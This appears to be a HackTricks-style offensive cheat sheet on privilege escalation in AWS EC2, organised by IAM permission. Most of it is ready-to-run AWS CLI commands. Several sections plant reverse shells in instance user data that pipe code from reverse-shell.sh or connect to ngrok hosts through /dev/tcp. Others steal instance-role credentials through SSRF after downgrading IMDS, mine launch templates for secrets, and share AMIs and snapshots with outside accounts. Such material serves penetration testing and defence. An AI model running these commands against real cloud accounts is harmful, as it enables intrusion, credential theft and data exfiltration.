# AWS - EC2 Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## EC2

For more **info about EC2** check:

{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
{{#endref}}

### `iam:PassRole`, `ec2:RunInstances`

An attacker could **create and instance attaching an IAM role and then access the instance** to steal the IAM role credentials from the metadata endpoint.

- **Access via SSH**

Run a new instance using a **created** **ssh key** (`--key-name`) and then ssh into it (if you want to create a new one you might need to have the permission `ec2:CreateKeyPair`).

```bash
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
    --iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
    --security-group-ids <sg-id>
```

- **Access via rev shell in user data**

You can run a new instance using a **user data** (`--user-data`) that will send you a **rev shell**. You don't need to specify security group this way.

```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
   --iam-instance-profile Name=<instance-profile-name> \
   --count 1 \
   --user-data "file:///tmp/rev.sh"
```

Be careful with GuradDuty if you use the credentials of the IAM role outside of the instance:

{{#ref}}
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}

**Potential Impact:** Direct privesc to a any EC2 role attached to existing instance profiles.

#### Privesc to ECS

With this set of permissions you could also **create an EC2 instance and register it inside an ECS cluster**. This way, ECS **services** will be **run** in inside the **EC2 instance** where you have access and then you can penetrate those services (docker containers) and **steal their ECS roles attached**.

```bash
aws ec2 run-instances \
    --image-id ami-07fde2ae86109a2af \
    --instance-type t2.micro \
    --iam-instance-profile <ECS_role> \
    --count 1 --key-name pwned \
    --user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```

To learn how to **force ECS services to be run** in this new EC2 instance check:

{{#ref}}
../aws-ecs-privesc/README.md
{{#endref}}

If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack.

**Potential Impact:** Direct privesc to ECS roles attached to tasks.

### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**

Similar to the previous scenario, an attacker with these permissions could **change the IAM role of a compromised instance** so he could steal new credentials.\
As an instance profile can only have 1 role, if the instance profile **already has a role** (common case), you will also need **`iam:RemoveRoleFromInstanceProfile`**.

```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
```

If the **instance profile has a role** and the attacker **cannot remove it**, there is another workaround. He could **find** an **instance profile without a role** or **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** to that **instance profile** (as previously discussed), and **associate the instance profile** compromised to a compromised i**nstance:**

- If the instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)

```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```

**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).

### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)

With these permissions it's possible to change the instance profile associated to an instance so if the attack had already access to an instance he will be able to steal credentials for more instance profile roles changing the one associated with it.

- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it

```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
```

- or **replace** the **instance profile** of the compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`).

```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
```

**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).

### `ec2:RequestSpotInstances`,`iam:PassRole`

An attacker with the permissions **`ec2:RequestSpotInstances`and`iam:PassRole`** can **request** a **Spot Instance** with an **EC2 Role attached** and a **rev shell** in the **user data**.\
Once the instance is run, he can **steal the IAM role**.

```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
   --instance-count 1 \
   --launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"
```

### `ec2:ModifyInstanceAttribute`

An attacker with the **`ec2:ModifyInstanceAttribute`** can modify the instances attributes. Among them, he can **change the user data**, which implies that he can make the instance **run arbitrary data.** Which can be used to get a **rev shell to the EC2 instance**.

Note that the attributes can only be **modified while the instance is stopped**, so the **permissions** **`ec2:StopInstances`** and **`ec2:StartInstances`**.

```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
    --instance-id="$INSTANCE_ID" \
    --attribute userData \
    --value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID
```

**Potential Impact:** Direct privesc to any EC2 IAM Role attached to a created instance.

### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`

An attacker with the permissions **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** can create a **new Launch Template version** with a **rev shell in** the **user data** and **any EC2 IAM Role on it**, change the default version, and **any Autoscaler group** **using** that **Launch Templat**e that is **configured** to use the **latest** or the **default version** will **re-run the instances** using that template and will execute the rev shell.

```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
   --launch-template-name bad_template \
   --launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
   --launch-template-name bad_template \
   --default-version 2
```

**Potential Impact:** Direct privesc to a different EC2 role.

### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`),  `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)

An attacker with the permissions **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** can **create a Launch Configuration** with an **IAM Role** and a **rev shell** inside the **user data**, then **create an autoscaling group** from that config and wait for the rev shell to **steal the IAM Role**.

```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
   --launch-configuration-name bad_config \
   --image-id ami-0c1bc246476a5572b \
   --instance-type t3.micro \
   --iam-instance-profile EC2-CloudWatch-Agent-Role \
   --user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
   --auto-scaling-group-name bad_auto \
   --min-size 1 --max-size 1 \
   --launch-configuration-name bad_config \
   --desired-capacity 1 \
   --vpc-zone-identifier "subnet-e282f9b8"
```

**Potential Impact:** Direct privesc to a different EC2 role.

### `!autoscaling`

The set of permissions **`ec2:CreateLaunchTemplate`** and **`autoscaling:CreateAutoScalingGroup`** **aren't enough to escalate** privileges to an IAM role because in order to attach the role specified in the Launch Configuration or in the Launch Template **you need to permissions `iam:PassRole`and `ec2:RunInstances`** (which is a known privesc).

### `ec2-instance-connect:SendSSHPublicKey`

An attacker with the permission **`ec2-instance-connect:SendSSHPublicKey`** can add an ssh key to a user and use it to access it (if he has ssh access to the instance) or to escalate privileges.

```bash
aws ec2-instance-connect send-ssh-public-key \
   --instance-id "$INSTANCE_ID" \
   --instance-os-user "ec2-user" \
   --ssh-public-key "file://$PUBK_PATH"
```

**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances.

### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`

An attacker with the permission **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** can **add an ssh key to a serial connection**. If the serial is not enable, the attacker needs the permission **`ec2:EnableSerialConsoleAccess` to enable it**.

In order to connect to the serial port you also **need to know the username and password of a user** inside the machine.

```bash
aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
   --instance-id "$INSTANCE_ID" \
   --serial-port 0 \
   --region "eu-west-1" \
   --ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```

This way isn't that useful to privesc as you need to know a username and password to exploit it.

**Potential Impact:** (Highly unprovable) Direct privesc to the EC2 IAM roles attached to running instances.

### `describe-launch-templates`,`describe-launch-template-versions`

Since launch templates have versioning, an attacker with **`ec2:describe-launch-templates`** and **`ec2:describe-launch-template-versions`** permissions could exploit these to discover sensitive information, such as credentials present in user data. To accomplish this, the following script loops through all versions of the available launch templates:

```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
  echo "[*] Analyzing $i"
  aws ec2 describe-launch-template-versions --launch-template-id $i --region us-east-1 | jq -r '.LaunchTemplateVersions[] | "\(.VersionNumber) \(.LaunchTemplateData.UserData)"' | while read version userdata
  do
    echo "VersionNumber: $version"
    echo "$userdata" | base64 -d
    echo
  done | grep -iE "aws_|password|token|api"
done
```

In the above commands, although we're specifying certain patterns (`aws_|password|token|api`), you can use a different regex to search for other types of sensitive information.

Assuming we find `aws_access_key_id` and `aws_secret_access_key`, we can use these credentials to authenticate to AWS.

**Potential Impact:** Direct privilege escalation to IAM user(s).

## References

- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)






### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)

An attacker with the ability to call `ec2:ModifyInstanceMetadataOptions` on a victim EC2 instance can weaken IMDS protections by enabling IMDSv1 (`HttpTokens=optional`) and increasing the `HttpPutResponseHopLimit`. This makes the instance metadata endpoint reachable via common SSRF/proxy paths from applications running on the instance. If the attacker can trigger a SSRF in such an app, they can retrieve the instance profile credentials and pivot with them.

- Required permissions: `ec2:ModifyInstanceMetadataOptions` on the target instance (plus the ability to reach/trigger a SSRF on the host).
- Target resource: The running EC2 instance with an attached instance profile (IAM role).

Commands example:

```bash
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id <INSTANCE_ID> \
  --query 'Reservations[0].Instances[0].MetadataOptions'

# 2) Downgrade IMDS protections (enable IMDSv1 and raise hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
  --http-endpoint enabled --http-tokens optional \
  --http-put-response-hop-limit 3 --instance-metadata-tags enabled

# 3) Through the SSRF, enumerate role name
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"

# 4) Through the SSRF, steal the temporary credentials
curl "http://<VICTIM_PUBLIC_IP>:<APP_PORT>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>"

# 5) Use the stolen credentials
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<Token>
aws sts get-caller-identity

# 6) Restore protections (require IMDSv2, low hop limit)
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
  --http-tokens required --http-put-response-hop-limit 1
```

Potential Impact: Theft of instance profile credentials via SSRF leading to privilege escalation and lateral movement with the EC2 role permissions.

### `ec2:ModifyInstanceMetadataOptions`

An attacker with the ec2:ModifyInstanceMetadataOptions permission can weaken Instance Metadata Service (IMDS) protections — for example by forcing IMDSv1 (making HttpTokens not required) or increasing HttpPutResponseHopLimit — thereby easing exfiltration of temporary credentials. The most relevant risk vector is raising HttpPutResponseHopLimit: by increasing that hop limit (TTL), the 169.254.169.254 endpoint stops being strictly limited to the VM’s network namespace and can become reachable by other processes/containers, enabling credential theft.

```bash
aws ec2 modify-instance-metadata-options \
  --instance-id <INSTANCE_ID> \
  --http-tokens optional \
  --http-endpoint enabled \
  --http-put-response-hop-limit 2
```

### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`

An attacker with the ec2:ModifyImageAttribute and ec2:ModifySnapshotAttribute permissions can share AMIs or snapshots with other AWS accounts (or even make them public), exposing images or volumes that may contain sensitive data such as configurations, credentials, certificates, or backups. By modifying an AMI’s launch permissions or a snapshot’s create-volume permissions, the attacker allows third parties to launch instances or mount disks from those resources and access their contents.

To share an AMI with another account:

```bash
aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```

To share an EBS snapshot with another account:

```bash
aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>
```

{{#include ../../../../banners/hacktricks-training.md}}